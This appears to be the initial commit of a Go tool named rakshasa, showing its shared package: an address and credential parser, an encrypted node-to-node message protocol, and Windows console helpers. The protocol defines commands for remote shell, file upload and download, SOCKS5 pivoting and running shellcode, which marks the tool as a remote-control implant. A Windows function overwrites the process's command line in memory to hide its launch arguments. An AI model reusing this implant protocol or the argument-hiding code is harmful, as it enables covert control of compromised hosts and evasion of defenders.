初次提交

This commit is contained in:
Mob2003
2023-03-22 11:30:21 +08:00
parent 0c34cff145
commit 30bf0dc9d0
95 changed files with 14609 additions and 0 deletions
+134
View File
@@ -0,0 +1,134 @@
package common
import (
"encoding/base64"
"errors"
"fmt"
"github.com/dlclark/regexp2"
"net"
"strconv"
)
type Addr struct {
scheam string
user, passwd string
ip string
port int
httpAuthorizationHeader string
}
func ParseAddr(str string) (cfg *Addr, err error) {
defer func() {
if cfg != nil && cfg.user != "" && cfg.passwd != "" {
cfg.httpAuthorizationHeader = fmt.Sprintf("Proxy-Authorization: Basic %s", base64.URLEncoding.EncodeToString([]byte(cfg.user+":"+cfg.passwd)))
}
}()
r, _ := regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\S+):(\d+)`, 0)
m, err := r.FindStringMatch(str)
if err != nil {
return nil, errors.New("配置解析错误," + err.Error())
}
if m != nil {
var res_v []string
for _, v := range m.Groups() {
res_v = append(res_v, v.String())
}
addr, err := net.ResolveTCPAddr("tcp", res_v[4]+":"+res_v[5])
if err != nil {
return nil, errors.New("配置解析错误 " + res_v[4] + ":" + res_v[5] + " 不是有效的 地址:端口")
}
return &Addr{
scheam: res_v[1],
user: res_v[2],
passwd: res_v[3],
ip: res_v[4],
port: addr.Port,
}, nil
}
r, _ = regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\d+)`, 0)
m, err = r.FindStringMatch(str)
if err != nil {
return nil, errors.New("配置解析错误," + err.Error())
}
if m != nil {
var res_v []string
for _, v := range m.Groups() {
res_v = append(res_v, v.String())
}
port, _ := strconv.Atoi(res_v[4])
return &Addr{
scheam: res_v[1],
user: res_v[2],
passwd: res_v[3],
ip: "",
port: port,
}, nil
}
r, _ = regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)$`, 0)
m, err = r.FindStringMatch(str)
if err != nil {
return nil, errors.New("配置解析错误," + err.Error())
}
if m != nil {
var res_v []string
for _, v := range m.Groups() {
res_v = append(res_v, v.String())
}
addr, err := net.ResolveTCPAddr("tcp", res_v[2]+":"+res_v[3])
if err != nil {
return nil, errors.New("配置解析错误 " + res_v[1] + ":" + res_v[2] + " 不是有效的 地址:端口")
}
return &Addr{
scheam: res_v[1],
user: "",
passwd: "",
ip: res_v[2],
port: addr.Port,
}, nil
}
port, err := strconv.Atoi(str)
if err != nil {
return nil, errors.New("配置解析错误,请按照 用户名:密码@地址:端口 的方式填写,或者 用户名:密码@端口 或者 ip:端口 或者 只有端口")
}
return &Addr{port: port}, nil
}
func (c *Addr) IP() string {
return c.ip
}
func (c *Addr) Addr() string {
return fmt.Sprintf("%s:%d", c.ip, c.port)
}
func (c *Addr) Port() string {
return fmt.Sprintf("%d", c.port)
}
func (c *Addr) String() string {
if c.user == "" && c.passwd == "" {
if c.ip == "" {
return fmt.Sprintf("%d", c.port)
}
return fmt.Sprintf("%s%s:%d", c.scheam, c.ip, c.port)
}
return fmt.Sprintf("%s%s:%s@%s:%d", c.scheam, c.user, c.passwd, c.ip, c.port)
}
func (c *Addr) GetHttpAuthorizationHeader() string {
return c.httpAuthorizationHeader
}
func (c *Addr) User() string {
return c.user
}
func (c *Addr) Password() string {
return c.passwd
}
func (c *Addr) Scheam() string {
return c.scheam
}
func (c *Addr) HttpUrl() string {
return "http://" + c.Addr()
}
+10
View File
@@ -0,0 +1,10 @@
//go:build linux || darwin
// +build linux darwin
package common
func ChangeArg(param string) {
//linux暂不支持
}
+29
View File
@@ -0,0 +1,29 @@
//go:build windows
// +build windows
package common
import (
"syscall"
"unsafe"
)
func ChangeArg(param string) {
if kernel32, err := syscall.LoadDLL("Kernel32.dll"); err == nil {
if GetCommandLineA, err := kernel32.FindProc("GetCommandLineW"); err == nil {
u, _, _ := GetCommandLineA.Call()
u16, _ := syscall.UTF16FromString(param)
for k, v := range u16 {
*(*byte)(unsafe.Pointer(u + uintptr(k*2+0))) = byte(v)
*(*byte)(unsafe.Pointer(u + uintptr(k*2+1))) = byte(v >> 8)
}
*(*uint16)(unsafe.Pointer(u + uintptr(len(u16)*2+1))) = 0
}
}
}
+321
View File
@@ -0,0 +1,321 @@
package common
import (
"bytes"
"errors"
"fmt"
"github.com/google/uuid"
"math/rand"
"net"
"rakshasa/aes"
"strings"
"sync"
"sync/atomic"
"time"
)
var Debug bool = false
var DebugLock bool = false
var DebugLockMap sync.Map
const UUID_LEN = 16
var BroadcastUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0xff}, UUID_LEN))
var NoneUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0x00}, UUID_LEN))
var EnableTermVt bool
// 数据包结构 包长(2byteUUID+UUID+MsgId+Ttl+cmd包
type Msg struct {
From string
To string
MsgId uint32
Ttl uint8
CmdOpteion uint8
CmdId uint32
CmdData []byte
}
const (
MAX_PLAINTEXT = 16384 - 2 - UUID_LEN*2 - 4 - 1 - 5 //不包含headlen
MAX_PACKAGE = 0xffff - UUID_LEN*2 - 4 - 1 - 5
INIT_WINDOWS_SIZE = MAX_PLAINTEXT * 20
WRITE_DEADLINE = time.Second * 5
CMD_TIMEOUT = time.Second * 10
)
// 大数据包格式,(CMD+fd)headlen+内容,不超过MaxPlaintext,使用tls自动分包
const (
CMD_NONE = iota
CMD_CONNECT_BYIDADDR //请求id, 格式newWork(1byte)+负载
CMD_CONNECT_BYIDADDR_RESULT //返回id
CMD_DELETE_CONNID //删除fd资源
CMD_CONN_MSG //发送消息,格式windows(8byte)+负载
CMD_CONN_UDP_MSG //udp数据包
CMD_NODE_RESTART //删除所有
CMD_WINDOWS_UPDATE // 增加窗口值
CMD_PING //请求ping
CMD_PONG //返回pong
CMD_PING_LISTEN //bind和remoteSocke5用,type(1byte)+id(4byte)
CMD_PING_LISTEN_RESULT
CMD_REG //通过本地注册
CMD_REG_RESULT //节点端注册
CMD_REMOTE_REG //通过远程服务器注册
CMD_REMOTE_REG_RESULT
CMD_GET_CURRENT_NODE //特殊指令,节点丢失后,查询节点
CMD_GET_CURRENT_NODE_RESULT
CMD_GET_NODE //获取节点列表
CMD_GET_NODE_RESULT
CMD_ADD_NODE //新增节点
CMD_LISTEN //监听
CMD_LISTEN_RESULT
CMD_DELETE_LISTEN
CMD_CONNECT_BYID //连接
CMD_DELETE_LISTENCONN_BYID
CMD_REMOTE_SOCKS5 //
//CMD_REMOTE_SOCKS5_RESULT
CMD_PWD
CMD_PWD_RESULT
CMD_DIR
CMD_DIR_RESULT
CMD_CD
CMD_CD_RESULT
CMD_UPLOAD
CMD_UPLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=进度
CMD_DOWNLOAD
CMD_DOWNLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=size包,2=数据包
CMD_SHELL
CMD_SHELL_DATA
CMD_SHELL_RESULT
CMD_RUN_SHELLCODE
CMD_RUN_SHELLCODE_RESULT
)
var CmdToName = map[uint8]string{
CMD_NONE: "CMD_NONE",
CMD_CONNECT_BYIDADDR: "CMD_CONNECT_BYIDADDR",
CMD_CONNECT_BYIDADDR_RESULT: "CMD_CONNECT_BYIDADDR_RESULT",
CMD_DELETE_CONNID: "CMD_DELETE_CONNID",
CMD_CONN_MSG: "CMD_CONN_MSG",
CMD_CONN_UDP_MSG: "CMD_CONN_UDP_MSG",
CMD_NODE_RESTART: "CMD_NODE_RESTART",
CMD_WINDOWS_UPDATE: "CMD_WINDOWS_UPDATE",
CMD_PING: "CMD_PING",
CMD_PONG: "CMD_PONG",
CMD_PING_LISTEN: "CMD_PING_LISTEN",
CMD_PING_LISTEN_RESULT: "CMD_PING_LISTEN_RESULT",
CMD_REG: "CMD_REG",
CMD_REG_RESULT: "CMD_REG_RESULT",
CMD_REMOTE_REG: "CMD_REMOTE_REG",
CMD_REMOTE_REG_RESULT: "CMD_REMOTE_REG_RESULT",
CMD_GET_CURRENT_NODE: "CMD_GET_CURRENT_NODE",
CMD_GET_CURRENT_NODE_RESULT: "CMD_GET_CURRENT_NODE_RESULT",
CMD_GET_NODE: "CMD_GET_NODE",
CMD_GET_NODE_RESULT: "CMD_GET_NODE_RESULT",
CMD_ADD_NODE: "CMD_ADD_NODE",
CMD_LISTEN: "CMD_LISTEN",
CMD_LISTEN_RESULT: "CMD_LISTEN_RESULT",
CMD_DELETE_LISTEN: "CMD_DELETE_LISTEN",
CMD_CONNECT_BYID: "CMD_CONNECT_BYID",
CMD_DELETE_LISTENCONN_BYID: "CMD_DELETE_LISTEN_CONN_BYID",
CMD_REMOTE_SOCKS5: "CMD_REMOTE_SOCKS5",
//CMD_REMOTE_SOCKS5_RESULT: "CMD_REMOTE_SOCKS5_RESULT",
CMD_PWD: "CMD_PWD",
CMD_PWD_RESULT: "CMD_PWD_RESULT",
CMD_DIR: "CMD_DIR",
CMD_DIR_RESULT: "CMD_DIR_RESULT",
CMD_CD: "CMD_CD",
CMD_CD_RESULT: "CMD_CD_RESULT",
CMD_UPLOAD: "CMD_UPLOAD",
CMD_UPLOAD_RESULT: "CMD_UPLOAD_RESULT",
CMD_DOWNLOAD: "CMD_DOWNLOAD",
CMD_DOWNLOAD_RESULT: "CMD_DOWNLOAD_RESULT",
CMD_SHELL: "CMD_SHELL",
CMD_SHELL_DATA: "CMD_SHELL_DATA",
CMD_SHELL_RESULT: "CMD_SHELL_RESULT",
CMD_RUN_SHELLCODE: "CMD_RUN_SHELLCODE",
CMD_RUN_SHELLCODE_RESULT: "CMD_RUN_SHELLCODE_RESULT",
}
type NetWork byte
const (
_ NetWork = iota
SOCKS5_CMD_CONNECT
// CmdBind is bind command
SOCKS5_CMD_BIND
// CmdUDP is UDP command
SOCKS5_CMD_UDP
RAW_TCP
RAW_TCP_WITH_PROXY
)
// 符合Server调用的接口
type Server interface {
ID() uint32
Write(buf []byte)
DeleteFd(fd [2]byte)
FdLoad(fd [2]byte) bool
FdStore(fd [2]byte, c Conn)
Close(string)
AddrList() string
}
const (
CONN_STATUS_OK = iota
CONN_STATUS_CLOSE
)
// 符合Conn调用的接口
type Conn interface {
Write([]byte) //会将部分消息原样不动发回去
Close(string)
}
type Close interface {
Close(string)
}
var globalID1, globalID2 uint32
var GetIDLock sync.Mutex
func GetID() uint32 {
return atomic.AddUint32(&globalID1, 1)
}
func GetConnID() uint32 {
return atomic.AddUint32(&globalID2, 1)
}
func init() {
rand.Seed(time.Now().Unix())
}
type RegMsg struct {
UUID string //当前机器uuid
Addr string
RegAddr string //远程连接的addr
Hostname string //当前机器名称
Goos string
ViaUUID string
Err string
MainIp []string
Port int
}
var msgId uint32
func (m *Msg) Marshal() []byte {
l := UUID_LEN*2 + 4 + 1 + 5 + len(m.CmdData)
data := make([]byte, l+2)
data1 := make([]byte, l+2)
data1[0] = byte(l)
data1[1] = byte(l >> 8)
uf, _ := uuid.Parse(m.From)
ut, _ := uuid.Parse(m.To)
bf, _ := uf.MarshalBinary()
bt, _ := ut.MarshalBinary()
copy(data[2:], bf)
copy(data[2+UUID_LEN:], bt)
b := 2 + 2*UUID_LEN
if m.MsgId == 0 { //id不为0
m.MsgId = atomic.AddUint32(&msgId, 1)
}
data[b] = byte(m.MsgId)
data[b+1] = byte(m.MsgId >> 8)
data[b+2] = byte(m.MsgId >> 16)
data[b+3] = byte(m.MsgId >> 24)
data[b+4] = m.Ttl
data[b+5] = m.CmdOpteion
data[b+6] = byte(m.CmdId)
data[b+7] = byte(m.CmdId >> 8)
data[b+8] = byte(m.CmdId >> 16)
data[b+9] = byte(m.CmdId >> 24)
copy(data[2+2*UUID_LEN+4+1+5:], m.CmdData)
aes.AesCtrEncrypt(data1[2:], data[2:])
return data1
}
func UnmarshalMsg(data []byte) (msg *Msg) {
if len(data) < 2*UUID_LEN+4+1+5 {
return
}
msg = &Msg{}
uf, _ := uuid.FromBytes(data[:UUID_LEN])
ut, _ := uuid.FromBytes(data[UUID_LEN : 2*UUID_LEN])
msg.From = uf.String()
msg.To = ut.String()
b := 2 * UUID_LEN
msg.MsgId = uint32(data[b]) | uint32(data[b+1])<<8 | uint32(data[b+2])<<16 | uint32(data[b+3])<<24
msg.Ttl = data[b+4]
msg.CmdOpteion = data[b+5]
msg.CmdId = uint32(data[b+6]) | uint32(data[b+7])<<8 | uint32(data[b+8])<<16 | uint32(data[b+9])<<24
msg.CmdData = data[b+10:]
return
}
func ExternalIP() (net.IP, error) {
ifaces, err := net.Interfaces()
if err != nil {
return nil, err
}
for _, iface := range ifaces {
if iface.Flags&net.FlagUp == 0 {
continue // interface down
}
if iface.Flags&net.FlagLoopback != 0 {
continue // loopback interface
}
addrs, err := iface.Addrs()
if err != nil {
return nil, err
}
for _, addr := range addrs {
ip := getIpFromAddr(addr)
if ip == nil {
continue
}
return ip, nil
}
}
return nil, errors.New("connected to the network?")
}
// 获取ip
func getIpFromAddr(addr net.Addr) net.IP {
var ip net.IP
switch v := addr.(type) {
case *net.IPNet:
ip = v.IP
case *net.IPAddr:
ip = v.IP
}
if ip == nil || ip.IsLoopback() {
return nil
}
ip = ip.To4()
if ip == nil {
return nil // not an ipv4 address
}
return ip
}
func ResolveTCPAddr(str string) ([]string, error) {
dst := strings.Split(str, ",")
for i := len(dst) - 1; i >= 0; i-- {
addr := dst[i]
if addr == "" {
dst = append(dst[:i], dst[i+1:]...)
} else {
if _, err := net.ResolveTCPAddr("tcp", addr); err != nil {
return nil, fmt.Errorf("参数错误 格式为\"ip:端口\",多个地址以逗号隔开,错误详情%v", err)
}
}
}
return dst, nil
}
+11
View File
@@ -0,0 +1,11 @@
package common
type Config struct {
DstNode []string //-d 上级节点
Password string //通讯密码,可为空
Port int //默认8883
ListenIp []string //指定公网ip,其他节点进行额外节点连接时候,尝试连接的ip
Limit bool //禁止额外连接,只连接-d节点,不会尝试连接其他节点
FileName string
FileSave bool `yaml:"-"`
}
+15
View File
@@ -0,0 +1,15 @@
//go:build linux || darwin
// +build linux darwin
package common
import (
"github.com/creack/pty"
"os"
)
func SetConsoleVT() {}
func GetSize() *pty.Winsize {
size, _ := pty.GetsizeFull(os.Stdin)
return size
}
+75
View File
@@ -0,0 +1,75 @@
//go:build windows
// +build windows
package common
import (
"github.com/creack/pty"
"syscall"
"unsafe"
)
func SetConsoleVT() {
if kernel32, err := syscall.LoadDLL("kernel32.dll"); err == nil {
if GetStdHandle, err := kernel32.FindProc("GetStdHandle"); err == nil {
if GetConsoleMode, err := kernel32.FindProc("GetConsoleMode"); err == nil {
if SetConsoleMode, err := kernel32.FindProc("SetConsoleMode"); err == nil {
//仅限win10
v := int32(-11)
hand, _, _ := GetStdHandle.Call(uintptr(v))
if hand == ^uintptr(0) {
return
}
var dwMode int32
if res, _, _ := GetConsoleMode.Call(hand, uintptr(unsafe.Pointer(&dwMode))); res == 1 {
res, _, _ = SetConsoleMode.Call(hand, uintptr(dwMode|0x0004))
EnableTermVt = res == 1
}
}
}
}
}
}
type COORD struct {
X uint16
Y uint16
}
type SMALL_RECT struct {
Left uint16
Top uint16
Right uint16
Bottom uint16
}
type CONSOLE_SCREEN_BUFFER_INFO struct {
Size COORD
CursorPosition COORD
Attributes uint16
Window SMALL_RECT
MaximumWindowSize COORD
}
func GetSize() (size *pty.Winsize) {
var csbi CONSOLE_SCREEN_BUFFER_INFO
if kernel32, err := syscall.LoadDLL("kernel32.dll"); err == nil {
if GetStdHandle, err := kernel32.FindProc("GetStdHandle"); err == nil {
if GetConsoleScreenBufferInfo, err := kernel32.FindProc("GetConsoleScreenBufferInfo"); err == nil {
//仅限win10
v := int32(-11)
hand, _, _ := GetStdHandle.Call(uintptr(v))
if hand == ^uintptr(0) {
return nil
}
if res, _, _ := GetConsoleScreenBufferInfo.Call(hand, uintptr(unsafe.Pointer(&csbi))); res == 1 {
size = &pty.Winsize{}
size.Cols = csbi.Window.Right - csbi.Window.Left + 1
size.Rows = csbi.Window.Bottom - csbi.Window.Top + 1
}
}
}
}
return
}